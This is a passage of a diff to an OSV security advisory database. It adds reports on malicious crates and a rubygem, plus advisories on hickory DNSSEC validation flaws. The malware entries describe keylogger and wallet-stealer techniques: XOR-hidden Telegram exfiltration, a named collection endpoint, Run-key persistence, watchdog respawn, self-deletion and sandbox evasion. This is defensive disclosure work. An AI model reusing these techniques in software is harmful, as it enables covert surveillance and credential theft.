infrastructure typical of install-time exfiltration beacons.\n\n## Source: ossf-package-analysis (8ed8a5f6d36e52a081b16492d7bc0cd65dc392d085384781cf3d661d47fca019)\nThe OpenSSF Package Analysis project identified 'pentest-copilot' @ 1.0.1 (rubygems) as malicious.\n\nIt is considered malicious because:\n\n- The package communicates with a domain associated with malicious activity.\n","affected":[{"package":{"name":"pentest-copilot","ecosystem":"RubyGems","purl":"pkg:gem/pentest-copilot"},"versions":["1.0.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"ext/mkrf_conf.rb","sha256":"0872c1c9caf6513f3d62e81004a9668621f4eb492fe90d5f8b934f476c2a8282","tlsh":"2d11cc8893587d61dba688afe20c308064d7dd8ac5095960fa9d48a0df6db3e33305fa"}],"package_integrity":[{"filename":"pentest-copilot-1.0.1.gem","hashes":{"sha256":"1e5097c9a1bbc59e48e52232bea642596eda7cd260d6deee1eb47794a7361144"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/rubygems/pentest-copilot/MAL-2026-19177.json"}}],"references":[{"type":"PACKAGE","url":"https://rubygems.org/gems/pentest-copilot/versions/1.0.1"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2026-11-12T18:14:25.465927718Z","modified_time":"2026-11-12T17:40:54Z","sha256":"8ed8a5f6d36e52a081b16492d7bc0cd65dc392d085384781cf3d661d47fca019","source":"ossf-package-analysis","versions":["1.0.1"]},{"id":"IN-MAL-2026-022650","import_time":"2026-11-12T20:11:33.364530285Z","modified_time":"2026-11-12T19:56:48Z","sha256":"23e305059e2c1f7f8f37b8478aa90214d1e916fc3f2287eb90f7bca7e9dcac32","source":"amazon-inspector","versions":["1.0.1"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"OpenSSF: Package Analysis","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"],"type":"FINDER"}]} \ No newline at end of file diff --git a/data/crates.io/GHSA-5j98-2g5x-46v6.json b/data/crates.io/GHSA-5j98-2g5x-46v6.json index 255569e697..cb011cda98 100644 --- a/data/crates.io/GHSA-5j98-2g5x-46v6.json +++ b/data/crates.io/GHSA-5j98-2g5x-46v6.json @@ -1 +1 @@ -{"schema_version":"1.9.0","id":"GHSA-5j98-2g5x-46v6","published":"2026-10-05T22:54:35Z","modified":"2026-10-05T23:00:04.250222435Z","aliases":["CVE-2026-93657"],"summary":"hickory-resolver: Resolver::lookup() and Resolver::lookup_ip() APIs obscure DNSSEC validation failures","details":"When calling `Resolver::lookup()` or `Resolver::lookup_ip()` on a resolver with DNSSEC validation enabled, both methods return `Ok(...)` if DNSSEC validation fails. It is possible but very inconvenient to check the validation status of individual records. These methods should instead return an error when DNSSEC validation determines a response is bogus.","affected":[{"package":{"name":"hickory-resolver","ecosystem":"crates.io","purl":"pkg:cargo/hickory-resolver"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.26.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-5j98-2g5x-46v6/GHSA-5j98-2g5x-46v6.json"}}],"references":[{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/security/advisories/GHSA-5j98-2g5x-46v6"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/pull/3871"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/92f93c0b889f6a292bc943304d88c4c6561fe1b9"},{"type":"PACKAGE","url":"https://github.com/hickory-dns/hickory-dns"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/releases/tag/v0.26.2"}],"database_specific":{"cwe_ids":["CWE-347"],"github_reviewed":true,"github_reviewed_at":"2026-10-05T22:54:35Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"}]} \ No newline at end of file +{"schema_version":"1.9.0","id":"GHSA-5j98-2g5x-46v6","published":"2026-10-05T22:54:35Z","modified":"2026-11-12T14:40:54.257337988Z","aliases":["CVE-2026-93657","RUSTSEC-2026-0514"],"summary":"hickory-resolver: Resolver::lookup() and Resolver::lookup_ip() APIs obscure DNSSEC validation failures","details":"When calling `Resolver::lookup()` or `Resolver::lookup_ip()` on a resolver with DNSSEC validation enabled, both methods return `Ok(...)` if DNSSEC validation fails. It is possible but very inconvenient to check the validation status of individual records. These methods should instead return an error when DNSSEC validation determines a response is bogus.","affected":[{"package":{"name":"hickory-resolver","ecosystem":"crates.io","purl":"pkg:cargo/hickory-resolver"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.26.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-5j98-2g5x-46v6/GHSA-5j98-2g5x-46v6.json"}}],"references":[{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/security/advisories/GHSA-5j98-2g5x-46v6"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/pull/3871"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/92f93c0b889f6a292bc943304d88c4c6561fe1b9"},{"type":"PACKAGE","url":"https://github.com/hickory-dns/hickory-dns"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/releases/tag/v0.26.2"}],"database_specific":{"cwe_ids":["CWE-347"],"github_reviewed":true,"github_reviewed_at":"2026-10-05T22:54:35Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"}]} \ No newline at end of file diff --git a/data/crates.io/GHSA-6w6g-hm98-mhgm.json b/data/crates.io/GHSA-6w6g-hm98-mhgm.json index 5a66d500b3..ab776ac14d 100644 --- a/data/crates.io/GHSA-6w6g-hm98-mhgm.json +++ b/data/crates.io/GHSA-6w6g-hm98-mhgm.json @@ -1 +1 @@ -{"schema_version":"1.9.0","id":"GHSA-6w6g-hm98-mhgm","published":"2026-10-05T22:55:10Z","modified":"2026-11-08T10:56:09.807310548Z","aliases":["CVE-2026-123604"],"summary":"hickory-resolver: Unbounded TC-retry loop in `NameServerPool::try_send` (resource-exhaustion DoS)","details":"When the `hickory-resolver` name server pool implementation receives an upstream response with the TC (truncated) header bit set, it re-queues the request to the same nameserver to retry with UDP transport disabled. However, the retry arm never inspects the transport that just answered and carries no iteration counter. An authoritative server that sets `TC=1` on **every** available transport keeps the resolver spinning on one persistent TCP connection until the 5s per-request wall-clock deadline expires.\n\n### Reporter\n\nQifan Zhang, Palo Alto Networks","affected":[{"package":{"name":"hickory-resolver","ecosystem":"crates.io","purl":"pkg:cargo/hickory-resolver"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.26.0-beta.1"},{"fixed":"0.26.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-6w6g-hm98-mhgm/GHSA-6w6g-hm98-mhgm.json"}}],"references":[{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/security/advisories/GHSA-6w6g-hm98-mhgm"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/pull/3871"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/0848d2e9e4183499343318a690d6dd5e48bc21c1"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/5d37e2e04a36a87013a213b58b820345ef76a263"},{"type":"PACKAGE","url":"https://github.com/hickory-dns/hickory-dns"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/releases/tag/v0.26.2"}],"database_specific":{"cwe_ids":["CWE-400","CWE-406","CWE-835"],"github_reviewed":true,"github_reviewed_at":"2026-10-05T22:55:10Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]} \ No newline at end of file +{"schema_version":"1.9.0","id":"GHSA-6w6g-hm98-mhgm","published":"2026-10-05T22:55:10Z","modified":"2026-11-12T14:41:01.256333284Z","aliases":["CVE-2026-123604","RUSTSEC-2026-0513"],"summary":"hickory-resolver: Unbounded TC-retry loop in `NameServerPool::try_send` (resource-exhaustion DoS)","details":"When the `hickory-resolver` name server pool implementation receives an upstream response with the TC (truncated) header bit set, it re-queues the request to the same nameserver to retry with UDP transport disabled. However, the retry arm never inspects the transport that just answered and carries no iteration counter. An authoritative server that sets `TC=1` on **every** available transport keeps the resolver spinning on one persistent TCP connection until the 5s per-request wall-clock deadline expires.\n\n### Reporter\n\nQifan Zhang, Palo Alto Networks","affected":[{"package":{"name":"hickory-resolver","ecosystem":"crates.io","purl":"pkg:cargo/hickory-resolver"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.26.0-beta.1"},{"fixed":"0.26.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-6w6g-hm98-mhgm/GHSA-6w6g-hm98-mhgm.json"}}],"references":[{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/security/advisories/GHSA-6w6g-hm98-mhgm"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/pull/3871"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/0848d2e9e4183499343318a690d6dd5e48bc21c1"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/5d37e2e04a36a87013a213b58b820345ef76a263"},{"type":"PACKAGE","url":"https://github.com/hickory-dns/hickory-dns"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/releases/tag/v0.26.2"}],"database_specific":{"cwe_ids":["CWE-400","CWE-406","CWE-835"],"github_reviewed":true,"github_reviewed_at":"2026-10-05T22:55:10Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]} \ No newline at end of file diff --git a/data/crates.io/MAL-2026-19200.json b/data/crates.io/MAL-2026-19200.json new file mode 100644 index 0000000000..31127ddd18 --- /dev/null +++ b/data/crates.io/MAL-2026-19200.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-19200","published":"2026-11-12T21:47:36Z","modified":"2026-11-12T22:15:03.354624359Z","summary":"Malicious code in basek (crates.io)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (f82b1f071f557e9f25cfce6d7643f19053c6a2bd7d61470fcf114ac53e950c63)\nbasek 0.1.0 is a Windows keylogger shipped as a Rust library. The exposed get_data() routine polls Windows key states for alphanumeric, function, and special keys and batches captured keystrokes together with the local username. The batches are POSTed to the Telegram Bot API at api.telegram.org/bot/sendMessage using a bot token stored as a byte array XORed with 0xAA and reassembled at runtime via the ut! macro, with hardcoded chat_id 7304091279; a secondary exfiltration endpoint https://keylogger.nullsect0r.tech/log is also configured. The crate installs itself for persistence: ensure_installed() copies the host binary to %LOCALAPPDATA%\\WindowsSystemUtility\\WinSysUtils.exe, writes an HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run value named 'WinSysUtils' for boot persistence, spawns a watchdog clone under a random 12-digit filename to respawn the keylogger, and schedules a cmd.exe timeout+del sequence to self-delete the original. A 30-second initial sleep, a 20-second warmup during which keystrokes are observed but not logged, and randomized polling jitter are used to evade sandbox and behavioral analysis. The crate description's 'educational cybersecurity project' framing is contradicted by the XOR-obfuscated exfiltration destination, hardcoded attacker chat_id, Run-key persistence, watchdog respawn, and self-delete logic.\n","affected":[{"package":{"name":"basek","ecosystem":"crates.io","purl":"pkg:cargo/basek"},"versions":["0.1.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"src/lib.rs","sha256":"296b7f456bf4eb4b1bfc8aff26af19b0b08d3fd12571c2fa41ea5ec0c8cf69c4","tlsh":"2e9264569a96112c6db3b87e0b9fe13337e5a12be4168d21390c4f887f9501885fc3e3"}],"package_integrity":[{"filename":"basek-0.1.0.crate","hashes":{"sha256":"a566084b69d04589f430f1b42b681df5ff86c7c681dd5370c00e4acf843709f7"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/crates.io/basek/MAL-2026-19200.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/basek/0.1.0"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-022652","import_time":"2026-11-12T22:10:48.52414254Z","modified_time":"2026-11-12T21:47:36Z","sha256":"f82b1f071f557e9f25cfce6d7643f19053c6a2bd7d61470fcf114ac53e950c63","source":"amazon-inspector","versions":["0.1.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]} \ No newline at end of file diff --git a/data/crates.io/MAL-2026-19201.json b/data/crates.io/MAL-2026-19201.json new file mode 100644 index 0000000000..18d5b24a4f --- /dev/null +++ b/data/crates.io/MAL-2026-19201.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-19201","published":"2026-11-12T21:47:28Z","modified":"2026-11-12T22:15:03.375909617Z","summary":"Malicious code in hesk (crates.io)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (83716a1c499cecbd64fe45f5ff56ab70ea6d1543e922c55e0514f2e2a69fe391)\nThe crate ships two reachable async payloads — `pub async fn dat` in src/test.rs and `pub async fn bs` in src/parse.rs, both imported from src/lib.rs — that walk the user's home directory with walkdir, build a zip archive via zip::ZipWriter including wallet artefacts (e.g. `exodus.wallet`), and upload the archive via reqwest multipart to a hardcoded Telegram Bot API endpoint using embedded `API_` token and `chat_id` constants. Both payload files (parse.rs ~40KB, test.rs ~60KB) are padded with roughly a hundred nonsense filler functions with invented identifiers (Modemir65, mix_wisp_30, Flagzelk147, shuffle_zelkvak_73, etc.) surrounding the exfiltration functions at the end of each file, consistent with deliberate camouflage. The dependency set — evdev and rdev (keyboard capture), winreg plus winapi winuser/processthreadsapi/memoryapi (Windows registry and process/memory primitives), walkdir, zip, and reqwest with the multipart feature — extends the capability surface to cross-platform keylogging and Windows persistence. The crate description `Это учебный проект для тестирования кибербезопасности` (\"educational project for cybersecurity testing\") does not match the shipped behavior.\n","affected":[{"package":{"name":"hesk","ecosystem":"crates.io","purl":"pkg:cargo/hesk"},"versions":["0.1.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"src/test.rs","sha256":"88d81962e8d5d31e64a152a3d0119e3e9522d00003d54f7be3a033cf5f3ef697","tlsh":"3243434b49f30969b023f8bd575fb9023134895f490dde957e7c6320af0a0a956f2af8"},{"path":"src/parse.rs","sha256":"6bf6443ffb37ce3a2501ff9ae7310d94a83387e7c61915b7f465dbb5a44949c0","tlsh":"7103534558f60875a057f8ad1b4eb813762849af1a0dfe147ebc23309f4b0695af1fd8"},{"path":"Cargo.toml","sha256":"933a826e1909f631bece7ab65e900392c8984040defd04fb01cbc517d7d6ac86","tlsh":"4331333e620afb362d5732e0889d65e60fe33109255daa6496dbc05c3e4c6cec2fc835"}],"package_integrity":[{"filename":"hesk-0.1.0.crate","hashes":{"sha256":"09bc0f16645e5dcc64f9a73d93e032bf4d347192ed541b9aeddfba7c87e68419"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/crates.io/hesk/MAL-2026-19201.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hesk/0.1.0"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-022651","import_time":"2026-11-12T22:10:48.400085278Z","modified_time":"2026-11-12T21:47:28Z","sha256":"83716a1c499cecbd64fe45f5ff56ab70ea6d1543e922c55e0514f2e2a69fe391","source":"amazon-inspector","versions":["0.1.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0504.json b/data/crates.io/RUSTSEC-2026-0504.json new file mode 100644 index 0000000000..f85b42bd77 --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0504.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0504","published":"2026-09-03T12:00:00Z","modified":"2026-11-12T14:10:49.815536430Z","aliases":["CVE-2026-123601","GHSA-588m-chg6-8jqj","RUSTSEC-2026-0506"],"summary":"Inverted NSEC3 comparison in DNSSEC validation (hickory-proto 0.25)","details":"In hickory-proto 0.25.0 through 0.26.0-alpha.1, DNSSEC validation handled the last NSEC3 record of a zone's hash chain with its two comparisons reversed. That record was treated as covering almost every hash it does not cover, so an attacker who can answer or modify DNS responses could replay it, with its RRSIG, to forge proofs that existing names have no records.\n\nFrom 0.26.0-beta.1 the DNSSEC validation code lives in the hickory-net crate, where this was fixed in hickory-net 0.26.2. No hickory-proto release contains a fix. Users of DNSSEC validation in hickory-proto 0.25 (directly or through hickory-resolver or hickory-recursor 0.25) should move to the 0.26.2 or later releases, which validate through hickory-net.","affected":[{"package":{"name":"hickory-proto","ecosystem":"crates.io","purl":"pkg:cargo/hickory-proto"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.25.0"},{"fixed":"0.26.0-beta.1"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["privilege-escalation"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0504.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hickory-proto"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0504.html"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/87ee4f81aa9689d81847770d3a74e13982c9bcdc"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0505.json b/data/crates.io/RUSTSEC-2026-0505.json new file mode 100644 index 0000000000..614e7be1a4 --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0505.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0505","published":"2026-09-03T12:00:00Z","modified":"2026-11-12T14:10:38.251619656Z","aliases":["CVE-2026-123580","GHSA-p2jv-r3m3-7wf4","RUSTSEC-2026-0509"],"summary":"NSEC3 owner names not checked against the zone in DNSSEC validation (hickory-proto)","details":"Up to 0.26.0-alpha.1, hickory-proto's DNSSEC validation matched NSEC3 records to a name only by the hashed first label of the NSEC3 owner name, without checking that the rest of the owner name was the zone in question. A signed NSEC3 record from any zone the attacker controls could therefore be used, by someone who can answer or modify DNS responses, to prove that a name in another zone does not exist.\n\nFrom 0.26.0-beta.1 the DNSSEC validation code lives in the hickory-net crate, where this was fixed in hickory-net 0.26.2. No hickory-proto release contains a fix. Users of DNSSEC validation in older hickory-proto releases (directly or through hickory-resolver or hickory-recursor) should move to the 0.26.2 or later releases, which validate through hickory-net.","affected":[{"package":{"name":"hickory-proto","ecosystem":"crates.io","purl":"pkg:cargo/hickory-proto"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"0.26.0-beta.1"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["privilege-escalation"],"cvss":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0505.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hickory-proto"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0505.html"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/10840b8432feb08d369f82e2bb6ce99ae23d7afa"}],"database_specific":{"license":"CC0-1.0"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"}]} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0506.json b/data/crates.io/RUSTSEC-2026-0506.json new file mode 100644 index 0000000000..775d582f70 --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0506.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0506","published":"2026-09-03T12:00:00Z","modified":"2026-11-12T14:10:49.815536430Z","aliases":["CVE-2026-123601","GHSA-588m-chg6-8jqj","RUSTSEC-2026-0504"],"summary":"Inverted NSEC3 comparison lets one record \"prove\" that almost any name does not exist","details":"When DNSSEC validation looks for the NSEC3 record that covers a hashed name, the last record in the zone's hash chain needs special handling, because its next hashed owner name sorts before its own hash. For that record the two comparisons were reversed: it was treated as covering every hash below its owner hash or above its next hash, which is mostly the part of the chain it does not cover.\n\nAn attacker who can answer or modify DNS responses can replay that one signed NSEC3 record, with its RRSIG, from the target zone and use it in forged negative answers. The validator then accepts proof that names which do exist have no records.\n\nThis affects DNSSEC validation through `DnssecDnsHandle` (resolver, recursor and client) when built with `dnssec-ring` or `dnssec-aws-lc-rs`. The same code was in hickory-proto before it moved to hickory-net.\n\nThe fix corrects the comparison in `find_covering_record`. It is in 0.26.2.","affected":[{"package":{"name":"hickory-net","ecosystem":"crates.io","purl":"pkg:cargo/hickory-net"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"0.26.2"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["privilege-escalation"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0506.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hickory-net"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0506.html"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/87ee4f81aa9689d81847770d3a74e13982c9bcdc"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0507.json b/data/crates.io/RUSTSEC-2026-0507.json new file mode 100644 index 0000000000..31bd854f29 --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0507.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0507","published":"2026-09-03T12:00:00Z","modified":"2026-11-12T14:00:04.072693821Z","aliases":["CVE-2026-123605","GHSA-2vgh-3wfw-qj7c"],"summary":"RRSIG signer name was not checked against the zone of the signed records","details":"DNSSEC validation checked an RRset against the DNSKEYs of whatever zone was named in the RRSIG's Signer's Name field. RFC 4035 section 5.3.1 requires that name to be the zone that contains the RRset, but this was not checked.\n\nAnyone who controls a DNSSEC-signed zone, and can answer or modify DNS responses, can therefore sign records for names in an unrelated zone with their own keys and have the validator accept them as secure.\n\nThis affects DNSSEC validation through `DnssecDnsHandle` (resolver, recursor and client) when built with `dnssec-ring` or `dnssec-aws-lc-rs`.\n\nThe fix ignores an RRSIG whose signer name is not the RRset's owner name or one of its ancestors. It is in 0.26.2.","affected":[{"package":{"name":"hickory-net","ecosystem":"crates.io","purl":"pkg:cargo/hickory-net"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"0.26.2"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["privilege-escalation"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0507.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hickory-net"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0507.html"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/019535e011131c52d19cb6a2c7a2d31270271135"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0508.json b/data/crates.io/RUSTSEC-2026-0508.json new file mode 100644 index 0000000000..391b9d850d --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0508.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0508","published":"2026-09-03T12:00:00Z","modified":"2026-11-12T14:00:04.065164795Z","aliases":["CVE-2026-123587","GHSA-qw83-5pm2-ggp5"],"summary":"NSEC wraparound detection trusted an unvalidated SOA record","details":"The last NSEC record in a zone points back to the zone apex. To recognise it, DNSSEC validation treated an NSEC record as covering every name after its owner when its next domain name equalled the owner name of an SOA record in the response. That SOA record did not have to pass validation.\n\nAn attacker who can answer or modify DNS responses can replay a genuine NSEC record and its RRSIG, add a forged SOA record whose name equals that NSEC record's next domain name, and so make the validator accept that any name sorting after the NSEC owner does not exist.\n\nThis affects DNSSEC validation through `DnssecDnsHandle` when built with `dnssec-ring` or `dnssec-aws-lc-rs`.\n\nThe fix recognises a wraparound NSEC record from the chain itself (its next domain name sorts at or before its owner and is the zone of the queried name) and only uses validated SOA records. It is in 0.26.2.","affected":[{"package":{"name":"hickory-net","ecosystem":"crates.io","purl":"pkg:cargo/hickory-net"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.26.0"},{"fixed":"0.26.2"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["privilege-escalation"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0508.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hickory-net"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0508.html"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/e5ca40a7ef149ba5a79bc6f4916f114d153ce9ab"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0509.json b/data/crates.io/RUSTSEC-2026-0509.json new file mode 100644 index 0000000000..1fc71018a4 --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0509.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0509","published":"2026-09-03T12:00:00Z","modified":"2026-11-12T14:10:38.251619656Z","aliases":["CVE-2026-123580","GHSA-p2jv-r3m3-7wf4","RUSTSEC-2026-0505"],"summary":"NSEC3 records from another zone were accepted in proofs of nonexistence","details":"When DNSSEC validation used NSEC3 records to prove that a name or record type does not exist, it compared only the hashed first label of each NSEC3 owner name with the hash of the name being checked. The rest of the owner name, which says which zone the record belongs to, was not checked.\n\nSomeone who controls any DNSSEC-signed zone can publish a signed NSEC3 record whose first label is the hash of a name in another zone. An attacker who can answer or modify DNS responses can then use it to make the validator accept that the name in the other zone does not exist.\n\nThis affects DNSSEC validation through `DnssecDnsHandle` when built with `dnssec-ring` or `dnssec-aws-lc-rs`.\n\nThe fix requires a matching NSEC3 record to belong to a zone that contains the checked name, and ignores NSEC3 records whose owner is not directly below the RRSIG signer name. It is in 0.26.2.","affected":[{"package":{"name":"hickory-net","ecosystem":"crates.io","purl":"pkg:cargo/hickory-net"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"0.26.2"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["privilege-escalation"],"cvss":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0509.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hickory-net"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0509.html"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/10840b8432feb08d369f82e2bb6ce99ae23d7afa"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/d2ee774a789193010f109d3d463adf72c4c261ab"}],"database_specific":{"license":"CC0-1.0"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"}]} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0510.json b/data/crates.io/RUSTSEC-2026-0510.json new file mode 100644 index 0000000000..1bc5e76166 --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0510.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0510","published":"2026-11-11T12:00:00Z","modified":"2026-11-12T14:30:06.142752344Z","aliases":["GHSA-pqp6-f7wc-6498"],"summary":"Panic when decoding malformed Ed25519 keys from Base64","details":"In version 0.11.1 and earlier of vodozemac, Ed25519PublicKey::from_base64() and\nEd25519SecretKey::from_base64() panic on malformed input instead of returning an\nerror, if the input decodes to 31 or 33 bytes instead of the expected 32 bytes.\nAn attacker who can supply a key to an application using vodozemac can crash it.\n\n## Impact\n\nEd25519 public keys are routinely received from other Matrix users and servers,\nso a malicious party can publish a crafted key that crashes clients parsing it.\n\nThe impact is limited to denial of service; no key disclosure or signature\nforgery is 